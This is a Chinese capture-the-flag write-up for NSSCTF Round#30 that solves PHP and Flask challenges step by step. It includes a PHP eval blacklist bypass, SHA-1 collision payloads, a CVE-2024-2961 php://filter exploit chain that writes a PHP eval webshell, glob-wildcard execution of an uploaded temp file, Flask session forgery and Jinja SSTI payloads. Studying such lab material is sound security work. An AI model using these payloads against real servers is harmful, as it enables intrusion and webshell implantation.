NSSCTF Round#30 小桃的PHP挑战
第一关
isset($_GET['one'])
✅ 为真$str = '9'
$add = substr('9', 0, 1)
→'9'
$add++
→'10'
strlen($add) = 2
> 1 → ✅ 条件成立- 执行
$A = 1;
,不会执行 echo
✅ 所以:**传 **?one=1&str=9**
,会使$A=1
第二关
先传一个two=1
🚫 黑名单限制:
- 禁止:
;
、空格、$
、#
、反引号、单双引号、星号、问号、尖括号、换行、^
等等。
这里的$B=1 在 if 的 try 里
只要我们能进入if循环的try里即可
这里我们只需要注释一下就行 直接传 *comment=/或者//都可以
然后try里就会是
1 | eval('$B = 1;'./*.';echo $two;die();'); |
/*会把后面的都给注释掉 但似乎并不会影响下一层 if 的检查与传参
//这一行后面的给注释掉
第三关
还是先传一个three=1
这里是sha1的强碰撞
去网上查一下 这里用burpsuite hackbar应该是传不上的
传
1 | one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
传上去之后用file读取一下/etc/passwd看看有没有成功
&file=/etc/passwd
下面就是一个CVE-2024-2961漏洞
读取/proc/self/maps文件
将其保存为maps
找到libc文件的位置
读取libc文件
file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so
将得到的内容base64解码,保存为libc.so
使用脚本生成payload
脚本网址:https://github.com/kezibei/php-filter-iconv
将maps
和libc.so
放入该py脚本的同目录文件夹下
修改python脚本的cmd命令和libc文件名称
1 | cmd = "echo '<?php @eval($_POST[\"cmd\"]); ?>' > /var/www/html/shell.php" |
运行脚本生成payload
payload:
1 | php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO/NDkG2hKOlUqui757lFHlzbnbnd65DelN/cfjJ/Ayx65q8t737UbREhDvbsQb5H7UK/4R2s3q9UrIK1WTAD3wSY/t3nHqrlXrmlO63oGk7XTc5EtChtnGde8zTsqlGaU/FqjVP31G6qUBAx%2bSI68rrinZ7SW4u6t47JTVvYo4Afg0zTtWuLZxaBLRi6RfzA98Lte/z76v5E/J907v3qfV17%2bRT62v/rdczOXlj3ZfquosdT94z4jev4X/5eaG9Nq80krddvWF/Ou5UXP2t%2bO1/F79Zf97u7EeN38ePx8nX/9uTtu/v858T/5zCb9iH%2bJ3/y/Y2/Pl3%2byvTp9/rk79ld/4tvT///e/PF4%2bvfrN90/3rf/8V21f822N/f13%2b/d9fvuXu3x/LHl3vXdn3Nvf%2bNnu/c6JFK3fZ268vjvv9t3Z//TfTz4c3fiqb%2b63q3fmvUZvjvGvjvFPvfXf3K956e%2buV7X93fn18fPvfb9/%2bau188Hex/r1%2b%2b3XctXXxH0p398Xfd5f7/jrvutX76%2bGPv8nV21w8vv/9Wolj/JZKP6uZCYTxsV3XdnjtBEZKUNLMm%2b/r/0er3CagpeGhjVLy6Yy17r2pQhO/yI8qHlU8qpjOihOqsjUNLz9e9zjzvltkcmeKNKHyPV9XNa3qTqnN29sa2ToTcwhl8Zdrlx7x6d/dt7xWOrVXdVIuAeMN1m69ssOrU/7lNvnK3RtrOuOn1f95Or8%2bdlrHBlkCWpdtnSYVrvlR%2be63xUc%2bHVU6VEZA/YxrUVkxS4/0l9zuFzot3t1RzwgA |
发包
然后用yijian连接
flag在这个文件夹下
你是谁的菜鸟,又是谁的佬大
exec执行的命令 有没什么回显 还过滤了字母及一些符号 也不能用自增取反绕过了
这里用文件上传绕过 看到wp好新颖的感觉
- shell下可以利用
.
来执行任意脚本 (类似于source
) - Linux文件名支持用glob通配符代替
通过上传一个文件, PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
保存一个upload.html文件
1 |
|
然后去浏览器里访问它 随便上传一个文件
抓包后是这个样子的 然后再进行传参 执行命令
1 | ?NSS=.%09/???/????????[@-[] |
.
- 当前目录。
%09
- URL 编码的制表符(Tab)。用于混淆路径或绕过路径解析器/WAF。
/
- 路径分隔符。
???
- 在 glob 中代表任意三个字符。
/
- 路径分隔符。
????????
- 任意八个字符。
[@-[]
这个是最复杂和最有趣的部分。这是 glob 模式中一种字符集范围选择:
[@-[]
代表一个字符范围,从@
到[
,ASCII 值从 64 (@
) 到 91 ([
)。- glob 中
[]
表示一个字符集,类似正则表达式中的[abc]
。 [@-[]
表示匹配@
到[
范围内的任意单个字符(包括大写字母、\
,[
,Z
, 等)。- 注意:因为
[
是 glob 的保留字符,所以这个写法其实是边界情况,具体能否解析,取决于解析器。
1 | #!/bin/sh |
#!/bin/sh
这是一个 shebang(哈希叹号),用于指明这个脚本应该由哪个解释器来运行。
然后再去访问1.php 如果没成功就多发包几次
hack_the_world!
这里首先是一个sessio伪造
给了源码附件的
1 | from flask import Flask, request, render_template,render_template_string, url_for, session |
可以看到 app.secret_key = ‘NSS’
要在hack路由伪造 user=hacker
通过flask-unsign伪造cookie:session即可
1 | python flask-unsign --sign --cookie "{'user':'hacker'}" --secret "NSS" |
这里也就成功伪造sessio了
下面是一个jinja 的ssti盲注
源码会在渲染模板的时候用到了两个静态文件
1 | css_url = url_for('static', filename='style.css') |
这里我们就可以想是否可以影响该静态文件从而将flag给带出来呢?python题目的话,通常的文件路径会是/app/app.py
静态文件的存放位置则会在/app/static
路由下面,这里的话我们就可以将flag给echo到这下面的静态文件里面,比如说
1 | cat /flag > /app/static/script.js |
上面说的是将flag储存到/static/script.js这个静态文件里
下面是
有个wp给的脚本 原脚本跑出来总有转义字符(一开始没发现 改之后的脚本跑对了才发现) 又一点点问ai改了好久
这个脚本是把flag cat到static/flag.html这个文件里 应该用的还是静态文件 只不过新创建了一个flag.html
将flag写入Web静态目录
访问/static/flag.html拿到shell(如果别的题目没有/static目录可以先执行mkdir /app/static
)
这里用下面的脚本就可以直接输出
py脚本
1 | import fenjing |
改一下自己的网址直接运行flag